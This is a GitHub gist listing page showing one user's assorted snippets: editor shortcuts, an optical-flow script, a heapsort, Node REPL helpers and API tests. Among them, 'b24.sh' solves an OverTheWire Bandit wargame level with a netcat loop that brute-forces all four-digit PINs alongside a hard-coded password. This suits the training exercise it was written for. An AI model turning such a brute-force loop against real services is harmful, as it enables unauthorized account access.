Skip to content

Instantly share code, notes, and snippets.

@paulserraino
paulserraino / javascript.json
Created September 30, 2018 22:40 — forked from pauloptimizely/javascript.json
VSCode User Snippets
{
"log": {
"prefix": "log",
"body": "console.log('${0}');",
"description": "Log output to console"
},
"import": {
"prefix": "impo",
"body": "import ${1} from '${2}';${0}",
"description": "Creates es6 import"
@paulserraino
paulserraino / flow.py
Created May 21, 2017 23:16
Predicting Vehicle Motion and Direction using Optical Flow
import cv2
import numpy as np
cap = cv2.VideoCapture('driving_sf.mp4')
# Util functions
def dist(a, b):
return np.sqrt(np.power(b[0] - a[0], 2) + np.power(b[1] - a[1], 2))
@paulserraino
paulserraino / b24.sh
Created May 20, 2016 04:07
Bandit level 24 one liner
#!/bin/bash
for x in {0..9}{0..9}{0..9}{0..9}; do echo "pin $x"; echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $x" | nc localhost 30002 2>&1 | grep -A1 Cor.* && break; done
@paulserraino
paulserraino / heapsort.js
Last active February 14, 2016 18:47
Heapsort implementation using immutable data structures
function heapsort(list) {
var h = heapify(list);
return h.reduce((state, listItem, index) => {
return [
...state.slice(0, index + 1),
...heapify(state.slice(index + 1))
]
}, h)
}
@paulserraino
paulserraino / review.sh
Last active November 11, 2015 17:13
automating my goodybag review process
#!/usr/bin/env bash
# ./review.sh [branch id]
#example.
# ./review.sh 1947
if [ "$GITHUB_TOKEN" == "" ] ; then
echo "Error! You need to set GITHUB_TOKEN environment variable!"
exit 1
@paulserraino
paulserraino / atx_coffee_pw.md
Last active August 29, 2015 14:27
Coffee Shop Passwords Austin, Tx

Coffee Shop Passwords

Name                           Password
-----------------------------------------------
Corona Cafe                    luckycharms
Houndstooth Coffee             coffeeandcheese

Brew & Brew coffeeandbeer

@paulserraino
paulserraino / app.js
Last active August 29, 2015 14:27
Updating a collection of child components
var React = require('react');
/**
* Input
*/
var Input = React.createClass({
getInitialState: function () {
return { name: this.props.name || '' }
},
@paulserraino
paulserraino / work_repl.js
Created June 29, 2015 19:34
sample custom node repl
var repl = require('repl');
var path = require('path');
var r = repl.start();
require('repl.history')(r, path.join(process.env.HOME, '.node_history');
var caterDir = '../cater-api-server' || process.argv[2];
r.context.models = require(path.join(caterDir, 'models');
@paulserraino
paulserraino / default_eval.js
Created June 29, 2015 19:27
default eval from node core
var repl = require('repl');
var debug = require('debuglog');
var vm = require('vm');
// copy pasta from node source
// lib/repl.js
function defaultEval(code, context, file, cb) {
var err, result;
// first, create the Script object to check the syntax
try {
@paulserraino
paulserraino / test.js
Last active August 29, 2015 14:23
testing secure routes
var assert = require('assert')
var request = require('request')
describe('My API', function () {
// initialize request cookie jar
request = request.defaults({ jar: request.jar() })
var cred = {
username: 'foo'